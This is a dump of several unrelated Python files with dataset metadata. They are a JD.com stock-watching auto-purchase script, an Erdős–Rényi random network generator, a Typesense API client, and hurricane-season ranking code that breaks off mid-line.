change_item_num_in_cart(\n sku_id=sku_id,\n vender_id=cart_item.get('vender_id'),\n num=1,\n p_type=cart_item.get('p_type'),\n target_id=cart_item.get('target_id'),\n promo_id=cart_item.get('promo_id')\n )\n else:\n add_item_to_cart(sku_id)\n risk_control = get_checkout_page_detail()\n if risk_control == '刷新太频繁了':\n return False\n if len(risk_control) > 0:\n if submit_order(session, risk_control, sku_id, skuids, submit_Time, encryptClientInfo, is_Submit_captcha,\n payment_pwd, submit_captcha_text, submit_captcha_rid):\n return True\n return False\n\n\ndef fastModeBuyMask(sku_id):\n add_item_to_cart(sku_id)\n risk_control = get_checkout_page_detail()\n if risk_control == '刷新太频繁了':\n return False\n if len(risk_control) > 0:\n if submit_order(session, risk_control, sku_id, skuids, submit_Time, encryptClientInfo, is_Submit_captcha,\n payment_pwd, submit_captcha_text, submit_captcha_rid):\n return True\n return False\n\n\n'''\n删除购物车选中商品\n'''\n\n\ndef remove_item():\n url = \"https://cart.jd.com/batchRemoveSkusFromCart.action\"\n data = {\n 't': 0,\n 'null': '',\n 'outSkus': '',\n 'random': random.random(),\n 'locationId': '19-1607-4773-0'\n }\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.37\",\n \"Accept\": \"application/json, text/javascript, */*; q=0.01\",\n \"Referer\": \"https://cart.jd.com/cart.action\",\n \"Host\": \"cart.jd.com\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Encoding\": \"zh-CN,zh;q=0.9,ja;q=0.8\",\n \"Origin\": \"https://cart.jd.com\",\n \"Connection\": \"keep-alive\"\n }\n resp = session.post(url, data=data, headers=headers)\n logger.info('清空购物车')\n if resp.status_code != requests.codes.OK:\n print('Status: %u, Url: %s' % (resp.status_code, resp.url))\n return False\n return True\n\n\ndef select_all_cart_item():\n url = \"https://cart.jd.com/selectAllItem.action\"\n data = {\n 't': 0,\n 'outSkus': '',\n 'random': random.random()\n }\n resp = session.post(url, data=data)\n if resp.status_code != requests.codes.OK:\n print('Status: %u, Url: %s' % (resp.status_code, resp.url))\n return False\n return True\n\n\ndef normalModeAutoBuy(inStockSkuid):\n for skuId in inStockSkuid:\n if item_removed(skuId):\n global submit_Time\n submit_Time = int(time.time() * 1000)\n logger.info('[%s]类型商品有货啦!马上下单', skuId)\n skuidUrl = 'https://item.jd.com/' + skuId + '.html'\n if normalModeBuyMask(skuId):\n message.send(skuidUrl, True)\n sys.exit(1)\n else:\n message.send(skuidUrl, False)\n else:\n logger.info('[%s]类型商品有货,但已下柜商品', skuId)\n\n\ndef fastModeAutoBuy(inStockSkuid):\n for skuId in inStockSkuid:\n global submit_Time\n submit_Time = int(time.time() * 1000)\n logger.info('[%s]类型商品有货啦!马上下单', skuId)\n skuidUrl = 'https://item.jd.com/' + skuId + '.html'\n if fastModeBuyMask(skuId):\n message.send(skuidUrl, True)\n sys.exit(1)\n else:\n if item_removed(skuId):\n message.send(skuidUrl, False)\n else:\n logger.info('[%s]商品已下柜,商品列表中踢出', skuId)\n skuids.remove(skuId)\n select_all_cart_item()\n remove_item()\n\n\ndef check_Config():\n global configMd5, configTime\n nowMd5 = getconfigMd5()\n configTime = time.time()\n if not nowMd5 == configMd5:\n logger.info('配置文件修改,重新读取文件')\n getconfig()\n configMd5 = nowMd5\n \ndef normalMode():\n global quit_scripts_falg\n flag = 1\n while (1):\n if quit_scripts_falg == True:\n logger.info('退出脚本')\n sys.exit()\n try:\n if flag == 1:\n validate_cookies()\n getUsername()\n # 检测配置文件是否修改\n if int(time.time()) - configTime >= 60:\n check_Config()\n # modelType\n logger.info('第' + str(flag) + '次 ')\n flag += 1\n # 检测库存\n inStockSkuid = check_stock(checksession, skuids, area)\n # 下单任务\n normalModeAutoBuy(inStockSkuid)\n # 休眠模块\n timesleep = random.randint(1, 3) / 10\n time.sleep(timesleep)\n # 校验是否还在登录模块\n if flag % 100 == 0:\n logger.info('校验是否还在登录')\n validate_cookies()\n except Exception as e:\n print(traceback.format_exc())\n time.sleep(10)\n\ndef fastMode():\n global quit_scripts_falg\n flag = 1\n while (1):\n try:\n if flag == 1:\n validate_cookies()\n getUsername()\n select_all_cart_item()\n remove_item()\n # 检测配置文件修改\n if int(time.time()) - configTime >= 600:\n check_Config()\n # modelType\n logger.info('第' + str(flag) + '次 ')\n flag += 1\n # 检测库存\n inStockSkuid = check_stock(checksession, skuids, area)\n #inStockSkuid = [100012043978]\n # 下单任务\n fastModeAutoBuy(inStockSkuid)\n # 休眠模块\n timesleep = random.randint(1, 3) / 10\n time.sleep(timesleep)\n # 校验是否还在登录模块\n if flag % 100 == 0:\n logger.info('校验是否还在登录')\n validate_cookies()\n except Exception as e:\n print(traceback.format_exc())\n time.sleep(10)\n\ndef exitScript():\n global quit_scripts_falg\n quit_scripts_falg = True\n\ndef myMain():\n # _setDNSCache()\n if modelType == '2':\n logger.info('V2版本当前模式[普通模式]')\n normalMode()\n elif modelType == '1':\n logger.info('V2版本当前模式[极速模式]')\n fastMode()\n\ndef normalModeInMultiProcess():\n p1 = threading.Thread(target=normalMode, args=())\n p1.start()\n\ndef fastModeInMultiProcess():\n p2 = threading.Thread(target=fastMode, args=())\n p2.start()\n\ndef exitScriptInMultiProcess():\n p3 = threading.Thread(target=exitScript, args=())\n p3.start()\n \nschedule.every().day.at(scheduled_time_start).do(fastModeInMultiProcess)\nlogger.info('fastMode is scheduled at: ' + scheduled_time_start)\n#schedule.every().day.at(scheduled_time_end).do(exitScriptInMultiProcess)\n#logger.info('exitScript is scheduled at: ' + scheduled_time_end)\n\nwhile True:\n schedule.run_pending()","sub_path":"jdBuyMask-master/jdBuyMask_V2.py","file_name":"jdBuyMask_V2.py","file_ext":"py","file_size_in_byte":20684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"411886794","text":"#!-*- coding:utf-8 -*-\r\n# __author__ : Sora\r\n# ___time___ : 2019/06/24/9:06\r\n\r\nimport networkx as nx\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\nimport time\r\nimport formula\r\n\r\n# 主程序开始\r\nprint('请输入ER网络的顶点个数:')\r\nNETWORK_SIZE = int(input())\r\nadjacentMatrix = np.zeros((NETWORK_SIZE, NETWORK_SIZE), dtype=int) # 初始化邻接矩阵\r\n\r\n\r\nprint('请输入边数:')\r\nEDGE = float(input())\r\n\r\n\r\n\r\n\r\n# 生成ER网络\r\ndef generateRandomNetwork(EDGE):\r\n while EDGE > 0 :\r\n x, y = np.random.randint(NETWORK_SIZE), np.random.randint(NETWORK_SIZE)\r\n # 随机取边\r\n while x == y or adjacentMatrix[x][y] == 1:\r\n x, y = np.random.randint(NETWORK_SIZE), np.random.randint(NETWORK_SIZE)\r\n adjacentMatrix[x][y] = adjacentMatrix[y][x] = 1\r\n EDGE = EDGE - 1\r\n\r\n\r\n\r\n# 用于绘制ER图\r\ndef showGraph():\r\n G = nx.Graph()\r\n for i in range(len(adjacentMatrix)):\r\n G.add_node(i)\r\n for j in range(len(adjacentMatrix)):\r\n if adjacentMatrix[i][j] == 1:\r\n G.add_edge(i, j)\r\n nx.draw(G,pos=nx.random_layout(G), node_size=3,width=0.05)\r\n print(\"density:\",formula.density(G))\r\n print(\"clustering coefficient:\",formula.clustering_coefficient(G))\r\n a= formula.average_path_length(G)\r\n print('nx.shortest_path_length(G):',a)\r\n plt.savefig(\"ER.png\", dpi=300)\r\n plt.show()\r\n\r\n\r\n\r\n# 将ER网络写入文件中\r\ndef writeRandomNetworkToFile():\r\n ARRS = []\r\n f = open('randomNetwork01.txt', 'w+')\r\n for i in range(NETWORK_SIZE):\r\n t = adjacentMatrix[i]\r\n ARRS.append(t)\r\n for j in range(NETWORK_SIZE):\r\n s = str(t[j])\r\n f.write(s)\r\n f.write(' ')\r\n f.write('\\n')\r\n f.close()\r\n\r\n\r\n# 计算度分布并将其存入文件中\r\ndef calculateDegreeDistribution():\r\n averageDegree = 0.0\r\n identify = 0.0\r\n statistic = np.zeros((NETWORK_SIZE), dtype=float) # statistic将用于存放度分布的数组,数组下标为度的大小,对应数组内容为该度的概率\r\n degree = np.zeros((NETWORK_SIZE), dtype=int) # degree用于存放每个节点的度\r\n for i in range(NETWORK_SIZE):\r\n for j in range(NETWORK_SIZE):\r\n degree[i] = degree[i] + adjacentMatrix[i][j]\r\n for i in range(NETWORK_SIZE):\r\n averageDegree += degree[i]\r\n print('平均度为' + str(averageDegree / NETWORK_SIZE)) # 计算平均度\r\n for i in range(NETWORK_SIZE):\r\n statistic[degree[i]] = statistic[degree[i]] + 1\r\n for i in range(NETWORK_SIZE):\r\n statistic[i] = statistic[i] / NETWORK_SIZE\r\n identify = identify + statistic[i]\r\n identify = int(identify)\r\n print('如果output为1则该算法正确\\toutput=' + str(identify)) # 用于测试算法是否正确\r\n\r\n\r\n\r\n\r\ngenerateRandomNetwork(EDGE) # 生成ER随机网络\r\nrandom.seed(time.time()) # 'random.random()#生成[0,1)之间的随机数\r\n\r\nwriteRandomNetworkToFile() # 将随机网络写入randomNetwork01.txt文件中\r\ncalculateDegreeDistribution() # 计算此ER随机网络的度分布并将结果写入文件degreee01.txt文件中\r\n\r\nprint('您所构造的ER网络如下:')\r\nshowGraph()\r\n\r\n","sub_path":"网络科学导论/网络科学导论作业/ER_NE.py","file_name":"ER_NE.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"529353541","text":"import requests\n\nfrom .exceptions import (ObjectAlreadyExists,\n ObjectNotFound, ObjectUnprocessable,\n RequestMalformed, RequestUnauthorized,\n ServerError, TypesenseClientError)\n\n\nclass ApiCall(object):\n API_KEY_HEADER_NAME = 'X-TYPESENSE-API-KEY'\n\n def __init__(self, config):\n self.config = config\n\n def nodes(self):\n return [self.config.master_node] + self.config.read_replica_nodes\n\n @staticmethod\n def get_exception(http_code):\n if http_code == 400:\n return RequestMalformed\n elif http_code == 401:\n return RequestUnauthorized\n elif http_code == 404:\n return ObjectNotFound\n elif http_code == 409:\n return ObjectAlreadyExists\n elif http_code == 422:\n return ObjectUnprocessable\n elif http_code == 500:\n return ServerError\n else:\n return TypesenseClientError\n\n def get(self, endpoint, params=None, as_json=True):\n params = params or {}\n\n for node in self.nodes():\n url = node.url() + endpoint\n print(url)\n try:\n r = requests.get(url,\n headers={ApiCall.API_KEY_HEADER_NAME: node.api_key},\n params=params,\n timeout=self.config.timeout_seconds)\n print(r)\n if r.status_code != 200:\n error_message = r.json().get('message', 'API error.')\n raise ApiCall.get_exception(r.status_code)(error_message)\n return r.json() if as_json else r.text\n except requests.exceptions.Timeout:\n pass\n except requests.exceptions.ConnectionError:\n pass\n except TypesenseClientError as typesense_client_error:\n raise typesense_client_error\n except Exception as e:\n raise e\n\n raise TypesenseClientError('All hosts are bad.')\n\n def post(self, endpoint, body):\n url = self.config.master_node.url() + endpoint\n api_key = self.config.master_node.api_key\n\n r = requests.post(url, json=body,\n headers={ApiCall.API_KEY_HEADER_NAME: api_key},\n timeout=self.config.timeout_seconds)\n if r.status_code != 201:\n error_message = r.json().get('message', 'API error.')\n print(url)\n raise ApiCall.get_exception(r.status_code)(error_message)\n\n return r.json()\n\n def delete(self, endpoint):\n url = self.config.master_node.url() + endpoint\n api_key = self.config.master_node.api_key\n\n r = requests.delete(url,\n headers={ApiCall.API_KEY_HEADER_NAME: api_key},\n timeout=self.config.timeout_seconds)\n if r.status_code != 200:\n error_message = r.json().get('message', 'API error.')\n raise ApiCall.get_exception(r.status_code)(error_message)\n\n return r.json()\n","sub_path":"typesense/api_call.py","file_name":"api_call.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"356748570","text":"import statistics\nimport math\nimport textwrap\nimport datetime\nimport calendar\nimport collections\n\nblah = dict(\n tracks = 0, landfalls=0, landfall_TC = 0, landfall_TD = 0,\n landfall_TS = 0, landfall_HU = 0, landfall_MHU = 0,\n TSreach = 0, HUreach = 0, MHUreach = 0, track_distance = 0,\n track_distance_TC = 0, track_distance_TS = 0,\n track_distance_HU = 0, track_distance_MHU = 0,\n ACE = 0, HDP = 0, MHDP = 0, cat45reach = 0, cat5reach = 0\n)\n\nclass Hurdat2Calculations:\n\n def rank_seasons(self, quantity, stattr, year1=None, year2=None, descending=True, **kw):\n \"\"\"Rank and compare full tropical cyclone seasons to one another.\n\n Required Arguments:\n quantity: how long of a list of ranks do you want; an integer.\n stattr: the storm attribute that you'd like to rank seasons by.\n \n * Storm Attributes: \n \"tracks\", \"landfall_TC\", \"TSreach\", \"HUreach\", \"MHUreach\",\n \"track_distance_TC\", \"ACE\", \"track_distance_TS\", \"HDP\",\n \"track_distance_HU\", \"MHDP\", \"track_distance_MHU\"\n\n * Note: Though attributes \"track_distance\", \"landfalls\", \n \"landfall_TD\", \"landfall_TS\", \"landfall_HU\",\n \"landfall_MHU\", \"TDonly\", \"TSonly\", \"HUonly\", \"cat45reach\",\n and \"cat5reach\" are valid storm attributes to rank by,\n their quantities will not be visible in the ranking output.\n\n Default Arguments:\n year1 (None): begin year. If included, the indicated year will\n represent the low-end of years to assess. In the absence of\n the end-year, all years from this begin year to the end of the\n record-range will be used in ranking.\n year2 (None): end year. If included, the indicated year will\n represent the upper-end of years to assess. In the absence of\n the begin-year, all years from the start of the record-range\n to this indicated year will be used in ranking.\n descending (True): bool to indicate sorting seasons in descending\n (higher-to-lower) or not. The default of True implies seasons\n will be ranked from higher-to-lower.\n\n Examples:\n ---------\n .rank_seasons(10,\"ACE\"): Retrieve a report of tropical\n cyclone seasons sorted by the top-10 Accumulated Cyclone\n Energy values.\n .rank_seasons(15,\"HDP\",1967): Retrieve a report of tropical\n cyclone seasons sorted by the top-15 Hurricane Destruction\n Potential values occurring since 1967 (the beginning of the\n satellite era).\n .rank_seasons(5,\"track_distance_TS\",1951,2000,True):\n Retrieve a report of the bottom-5 seasons of distance\n traversed by, at-least, tropical storms, all between 1951 and\n 2000.\n .rank_seasons(10,\"HUreach\",year2=2000): Retrieves a report \n of the top-10 seasons with the most Hurricanes prior-to, and\n including the year 2000.\n \"\"\"\n\n # --------------------\n year1 = abs(year1) \\\n if type(year1) == int \\\n and abs(year1) >= self.record_range[0] \\\n else self.record_range[0]\n year2 = abs(year2) \\\n if type(year2) == int \\\n and abs(year2) <= self.record_range[1] \\\n else self.record_range[1]\n\n year1, year2 = [\n min([year1, year2]),\n max([year1, year2])\n ]\n\n if len(range(year1, year2)) == 0:\n raise ValueError(\"The years given must be different!\")\n\n # List seasons sorted by stattr\n sorted_seasons = sorted(\n [s for s in self.season.values() if year1 <= s.year <= year2],\n key=lambda czen: getattr(czen, stattr),\n reverse = descending\n )\n # Values sorted\n ranks = sorted(\n set([\n getattr(s, stattr) for s in sorted_seasons \\\n if descending is False \\\n or (getattr(s, stattr) > 0 and kw.get(\"info\") is None) \\\n or kw.get(\"info\") is not None\n ]),\n reverse = descending\n )[:quantity]\n\n # RETURN if _season_stats (via rank_seasons_thru) method called this method\n if kw.get(\"info\", None) is not None:\n # insert years data if not included in original ranking\n if (year1 <= kw[\"info\"] <= year2) is False:\n ranks = sorted(\n ranks + [getattr(self.season[kw[\"info\"]], stattr)],\n reverse = descending\n )\n return {\n \"seasonvalu\": getattr(self.season[kw[\"info\"]], stattr),\n \"rank\": ranks.index(getattr(self.season[kw[\"info\"]], stattr)) + 1,\n \"tied\": len([\"tie\" for season in sorted_seasons if getattr(season, stattr) == getattr(self.season[kw[\"info\"]], stattr)]) - 1,\n \"outof\": len(ranks)\n }\n # List that holds printed quantities\n printedqty = []\n \n print(\"\")\n print(\"TOP {} SEASONS RANKED BY {}\".format(\n len(ranks),\n stattr.upper()\n ).center(79))\n\n print(\"{}{}\".format(\n str(self.basin()),\n \", {}-{}\".format(year1, year2)\n ).center(79))\n print(\"-\" * 79)\n\n print(\"{:4} {:4} {:^6} {:^4} {:^4} {:^4} {:^3} {:^7} {:^25}\".format(\n \"\",\"\",\"\",\"LAND\",\"QTY\",\"\",\"\",\"TC DIST\",\n \"STATUS-RELATED TRACK\" if \"track_distance\" in stattr else \"ENERGY INDICES\"\n ))\n print(\"{:4} {:4} {:^6} {:^4} {:^4} {:^4} {:^3} {:^7} {:^25}\".format(\n \"\",\"\",\"NUM OF\",\"FALL\",\"TRPC\",\"QTY\",\"QTY\",\"TRAVRSD\",\n \"DISTANCES (in nmi)\" if \"track_distance\" in stattr else \"x10^4 kt^2\"\n ))\n print(\"RANK YEAR {:^6} {:^4} {:^4} {:^4} {:^3} {:^7} {:^7} {:^7} {:^7}\".format(\n \"TRACKS\",\"TCs\",\"STRM\",\"HURR\",\"MAJ\",\"(nmi)\",\n \"TRPCSTM\" if \"track_distance\" in stattr else \"ACE\",\n \"HURRICN\" if \"track_distance\" in stattr else \"HDP\",\n \"MAJHURR\" if \"track_distance\" in stattr else \"MHDP\"\n ))\n print(\"{:-^4} {:-^4} {:-^6} {:-^4} {:-^4} {:-^4} {:-^3} {:-^7} {:-^7} {:-^7} {:-^7}\".format(\n \"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"\n ))\n for season in sorted_seasons:\n try:\n current_rank = ranks.index(getattr(season, stattr)) + 1 \\\n if ranks.index(getattr(season, stattr)) + 1 \\\n not in printedqty else None\n except:\n break\n print(\"{:>3}{:1} {:4} {:^6} {:^4} {:^4} {:^4} {:^3} {:>7.1f} {:>{ACELEN}f} {:>{ACELEN}f} {:>{ACELEN}f}\".format(\n current_rank if current_rank is not None else \"\", \n \".\" if current_rank is not None else \"\",\n season.year,\n season.tracks,\n season.landfall_TC,\n season.TSreach,\n season.HUreach,\n season.MHUreach,\n season.track_distance_TC,\n season.track_distance_TS if \"track_distance\" in stattr \\\n else season.ACE * math.pow(10,-4),\n season.track_distance_HU if \"track_distance\" in stattr \\\n else season.HDP * math.pow(10,-4),\n season.track_distance_MHU if \"track_distance\" in stattr \\\n else season.MHDP * math.pow(10,-4),\n ACELEN = 7.1 if \"track_distance\" in stattr else 7.3\n ))\n if current_rank is not None and current_rank not in printedqty:\n printedqty.append(current_rank)\n print(\"\")\n\n def rank_seasons_thru(self, quantity, stattr, year1=None, year2=None, descending=True, **kw):\n \"\"\"Rank and compare *partial* tropical cyclone seasons to one another.\n\n * Of note, if neither `start` or `thru` keywords are included, this\n function becomes a wrapper for .rank_seasons\n\n Required Arguments:\n quantity: how long of a list of ranks do you want; an integer.\n stattr: the storm attribute that you'd like to rank seasons by.\n \n * Storm Attributes: \n \"tracks\", \"landfall_TC\", \"TSreach\", \"HUreach\", \"MHUreach\",\n \"track_distance_TC\", \"ACE\", \"track_distance_TS\", \"HDP\",\n \"track_distance_HU\", \"MHDP\", \"track_distance_MHU\"\n\n * Note: Though attributes \"track_distance\", \"landfalls\", \n \"landfall_TD\", \"landfall_TS\", \"landfall_HU\",\n \"landfall_MHU\", \"TDonly\", \"TSonly\", \"HUonly\", \"cat45reach\",\n and \"cat5reach\" are valid storm attributes to rank by,\n their quantities will not be visible in the ranking output.\n\n Default Arguments:\n year1 = None: begin year. If included, the indicated year will\n represent the low-end of years to assess. In the absence of\n the end-year, all years from this begin year to the end of the\n record-range will be used in ranking.\n year2 = None: end year. If included, the indicated year will\n represent the upper-end of years to assess. In the absence of\n the begin-year, all years from the start of the record-range\n to this indicated year will be used in ranking.\n descending = True: parallel bool used to determine reverse kw of\n sorted calls; whether results will be printed higher-to-lower\n or not.\n\n Keyword Arguments:\n start = (1, 1): list/tuple given to indicate the starting month and\n day wherein a season's calculations will be made.\n thru = (12,31): list/tuple representing the month and day that you\n want to assess the seasons through. If start != (1,1) but thru\n == (12,31), the stats reported will be through the Season's\n ending.\n\n Examples:\n ---------\n .rank_seasons_thru(10, \"ACE\", thru=[8,31]): Retrieve a report\n of tropical cyclone seasons sorted by the top-10 ACE values through\n August 31.\n .rank_seasons_thru(10, \"TSreach\", 1967, thru=[9,15]): Retrieve\n a report of tropical cyclone seasons sorted by the top-10 totals of\n tropical storms through September 15, since 1967 (the satellite\n era).\n .rank_seasons_thru(20, \"track_distance_TC\", start=[7,1], thru=(10,31)):\n Retrieve a report of the top-20 seasons of total distance traversed\n by storms while being designated as tropical cyclones, between July\n 1st and the end of October.\n \"\"\"\n\n year1 = self.record_range[0] if year1 is None \\\n or year1 < self.record_range[0] else year1\n year2 = self.record_range[1] if year2 is None \\\n or year2 > self.record_range[1] else year2\n\n # Partial-Season Bookened Month, Day Tuples\n start = kw.get(\"start\", (1,1))\n thru = kw.get(\"thru\", (12,31))\n\n # error if thru or start are not list/tuples\n if type(thru) not in [list,tuple]:\n return print(\"OOPS! Ensure thru is a list or tuple of (month,day)\")\n if type(start) not in [list,tuple]:\n return print(\"OOPS! Ensure start is a list or tuple of (month,day)\")\n\n # If the full year is being asked for, this is essentially just a\n # wrapper for the regular rank_seasons method\n if start == (1,1) and thru == (12,31):\n result = self.rank_seasons(\n quantity,\n stattr,\n year1,\n year2,\n descending,\n info=kw.get(\"info\")\n )\n return result\n\n rseason = {}\n for season in [s for s in self.season.values() \\\n if year1 <= s.year <= year2 \\\n or (kw.get(\"info\") is not None \\\n and s.year == kw.get(\"info\"))]:\n yr = season.year\n rseason[yr] = dict(\n tracks = 0, landfalls=0, landfall_TC = 0, landfall_TD = 0,\n landfall_TS = 0, landfall_HU = 0, landfall_MHU = 0,\n TSreach = 0, HUreach = 0, MHUreach = 0, track_distance = 0,\n track_distance_TC = 0, track_distance_TS = 0,\n track_distance_HU = 0, track_distance_MHU = 0,\n ACE = 0, HDP = 0, MHDP = 0, cat45reach = 0, cat5reach = 0\n )\n # account for a non-existant season being requested by stats method\n if kw.get(\"info\") is not None and kw.get(\"info\") not in self.season:\n rseason[kw.get(\"info\")] = dict(\n tracks = 0, landfalls=0, landfall_TC = 0, landfall_TD = 0,\n landfall_TS = 0, landfall_HU = 0, landfall_MHU = 0,\n TSreach = 0, HUreach = 0, MHUreach = 0, track_distance = 0,\n track_distance_TC = 0, track_distance_TS = 0,\n track_distance_HU = 0, track_distance_MHU = 0,\n ACE = 0, HDP = 0, MHDP = 0, cat45reach = 0, cat5reach = 0\n )\n for tc in season.tc.values():\n track_added = False\n lndfls = False; lndfl_TC = False; lndfl_TD = False;\n lndfl_TS = False; lndfl_HU = False; lndfl_MHU = False;\n rTS = False; rHU = False; rMHU = False; r45 = False; r5 = False\n entries = [\n trk for trk in tc.entry #\\\n # if start <= trk.month_day_tuple <= thru\n ]\n for INDX, ENTRY in enumerate(tc.entry):\n # Handle Track Distance related vars;\n # only need to check validity of INDX-1\n # if INDX >= 1 and start <= tc.entry[INDX-1].month_day_tuple <= thru:\n if INDX >= 1 \\\n and ((thru != (12,31) and start <= tc.entry[INDX-1].month_day_tuple <= thru) \\\n or (thru == (12,31) and datetime.date(tc.year, *start) <= tc.entry[INDX-1].entrytime.date())):\n rseason[yr][\"track_distance\"] += haversine(\n tc.entry[INDX-1].location,\n tc.entry[INDX].location\n )\n rseason[yr][\"track_distance_TC\"] += haversine(\n tc.entry[INDX-1].location,\n tc.entry[INDX].location\n ) if tc.entry[INDX-1].status in (\"SD\",\"TD\",\"SS\",\"TS\",\"HU\") else 0\n rseason[yr][\"track_distance_TS\"] += haversine(\n tc.entry[INDX-1].location,\n tc.entry[INDX].location\n ) if tc.entry[INDX-1].status in (\"SS\",\"TS\",\"HU\") else 0\n rseason[yr][\"track_distance_HU\"] += haversine(\n tc.entry[INDX-1].location,\n tc.entry[INDX].location\n ) if tc.entry[INDX-1].status == \"HU\" else 0\n rseason[yr][\"track_distance_MHU\"] += haversine(\n tc.entry[INDX-1].location,\n tc.entry[INDX].location\n ) if tc.entry[INDX-1].status == \"HU\" \\\n and tc.entry[INDX-1].wind >= 96 else 0\n # Handle everything else\n if (thru != (12,31) and start <= ENTRY.month_day_tuple <= thru) \\\n or (thru == (12,31) and datetime.date(tc.year, *start) <= ENTRY.entrytime.date()):\n # if start <= ENTRY.month_day_tuple <= thru:\n rseason[yr][\"ACE\"] += math.pow(ENTRY.wind,2) \\\n if ENTRY.wind >= 34 \\\n and ENTRY.status in (\"SS\",\"TS\",\"HU\") \\\n and ENTRY.is_synoptic \\\n else 0\n rseason[yr][\"HDP\"] += math.pow(ENTRY.wind,2) \\\n if ENTRY.wind >= 64 \\\n and ENTRY.status == \"HU\" \\\n and ENTRY.is_synoptic \\\n else 0\n rseason[yr][\"MHDP\"] += math.pow(ENTRY.wind,2) \\\n if ENTRY.wind >= 96 and ENTRY.status == \"HU\" \\\n and ENTRY.is_synoptic \\\n else 0\n if track_added is False:\n rseason[yr][\"tracks\"] += 1\n track_added = True\n if lndfls is False and ENTRY.record_identifier == \"L\":\n rseason[yr][\"landfalls\"] += 1\n lndfls = True\n if lndfl_TC is False and ENTRY.record_identifier == \"L\" \\\n and ENTRY.is_TC:\n rseason[yr][\"landfall_TC\"] += 1\n lndfl_TC = True\n if lndfl_TD is False and ENTRY.record_identifier == \"L\" \\\n and ENTRY.status in [\"SD\",\"TD\"]:\n rseason[yr][\"landfall_TD\"] += 1\n lndfl_TD = True\n if lndfl_TS is False and ENTRY.record_identifier == \"L\" \\\n and ENTRY.status in [\"SS\",\"TS\",\"HU\"]:\n rseason[yr][\"landfall_TS\"] += 1\n lndfl_TS = True\n if lndfl_HU is False and ENTRY.record_identifier == \"L\" \\\n and ENTRY.status == \"HU\":\n rseason[yr][\"landfall_HU\"] += 1\n lndfl_HU = True\n if lndfl_MHU is False and ENTRY.record_identifier == \"L\" \\\n and ENTRY.status == \"HU\" and ENTRY.wind >= 96:\n rseason[yr][\"landfall_MHU\"] += 1\n lndfl_MHU = True\n if rTS is False and ENTRY.status in [\"SS\",\"TS\",\"HU\"]:\n rseason[yr][\"TSreach\"] += 1\n rTS = True\n if rHU is False and ENTRY.status in [\"HU\"]:\n rseason[yr][\"HUreach\"] += 1\n rHU = True\n if rMHU is False and ENTRY.wind >= 96:\n rseason[yr][\"MHUreach\"] += 1\n rMHU = True\n if r45 is False and ENTRY.wind >= 114:\n rseason[yr][\"cat45reach\"] += 1\n r45 = True\n if r5 is False and ENTRY.wind >= 136:\n rseason[yr][\"cat5reach\"] += 1\n r5 = True\n\n sorted_seasons = sorted(\n [s for s in self.season.values() if year1 <= s.year <= year2],\n key=lambda s: rseason[s.year][stattr],\n reverse = descending\n )\n # Values sorted\n ranks = sorted(\n set([\n rseason[s.year][stattr] for s in sorted_seasons \\\n if descending is False \\\n or (rseason[s.year][stattr] > 0 and kw.get(\"info\") is None) \\\n or kw.get(\"info\") is not None\n ]),\n reverse = descending\n )[:quantity]\n\n # RETURN if info method called this method\n if kw.get(\"info\", None) is not None:\n if (year1 <= kw[\"info\"] <= year2) is False:\n ranks = sorted(\n ranks + [rseason[kw[\"info\"]][stattr]],\n reverse = descending\n )\n return {\n \"seasonvalu\": rseason[kw[\"info\"]][stattr],\n \"rank\": ranks.index(rseason[kw[\"info\"]][stattr]) + 1,\n \"tied\": len([\"tie\" for season in rseason.values() if season[stattr] == rseason[kw[\"info\"]][stattr]]) - 1,\n \"outof\": len(ranks)\n }\n\n # List that holds printed quantities\n printedqty = []\n\n print(\"\")\n print(\"TOP {} SEASONS RANKED BY {}, {}\".format(\n len(ranks),\n stattr.upper(),\n \"{}through {}\".format(\n \"from {} \".format(\n \"{} {}\".format(\n calendar.month_abbr[start[0]], start[1]\n )\n ) if \"start\" in kw else \"\",\n \"{} {}\".format(\n calendar.month_abbr[thru[0]], thru[1]\n ) if thru != (12,31) else \"End of Season\"\n )\n ).center(79)\n )\n\n print(\"{}{}\".format(\n str(self.basin()),\n \", {}-{}\".format(year1, year2)\n ).center(79))\n print(\"-\" * 79)\n\n print(\"{:4} {:4} {:^6} {:^4} {:^4} {:^4} {:^3} {:^7} {:^25}\".format(\n \"\",\"\",\"\",\"LAND\",\"QTY\",\"\",\"\",\"TC DIST\",\n \"STATUS-RELATED TRACK\" if \"track_distance\" in stattr else \"ENERGY INDICES\"\n ))\n print(\"{:4} {:4} {:^6} {:^4} {:^4} {:^4} {:^3} {:^7} {:^25}\".format(\n \"\",\"\",\"NUM OF\",\"FALL\",\"TRPC\",\"QTY\",\"QTY\",\"TRAVRSD\",\n \"DISTANCES (nmi)\" if \"track_distance\" in stattr else \"x10^4 kt^2\"\n ))\n print(\"RANK YEAR {:^6} {:^4} {:^4} {:^4} {:^3} {:^7} {:^7} {:^7} {:^7}\".format(\n \"TRACKS\",\"TCs\",\"STRM\",\"HURR\",\"MAJ\",\"(nmi)\",\n \"TRPCSTM\" if \"track_distance\" in stattr else \"ACE\",\n \"HURRICN\" if \"track_distance\" in stattr else \"HDP\",\n \"MAJHURR\" if \"track_distance\" in stattr else \"MHDP\"\n ))\n print(\"{:-^4} {:-^4} {:-^6} {:-^4} {:-^4} {:-^4} {:-^3} {:-^7} {:-^7} {:-^7} {:-^7}\".format(\n \"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"\n ))\n for season in sorted_seasons:\n try:\n current_rank = ranks.index(rseason[season.year][stattr]) + 1 \\\n if ranks.index(rseason[season.year][stattr]) + 1 \\\n not in printedqty else None\n except:\n # indicates bounds beyond quantity asked for exceeded\n break\n print(\"{:>3}{:1} {:4} {:^6} {:^4} {:^4} {:^4} {:^3} {:>7.1f} {:>{ACELEN}f} {:>{ACELEN}f} {:>{ACELEN}f}\".format(\n current_rank if current_rank is not None else \"\", \n \".\" if current_rank is not 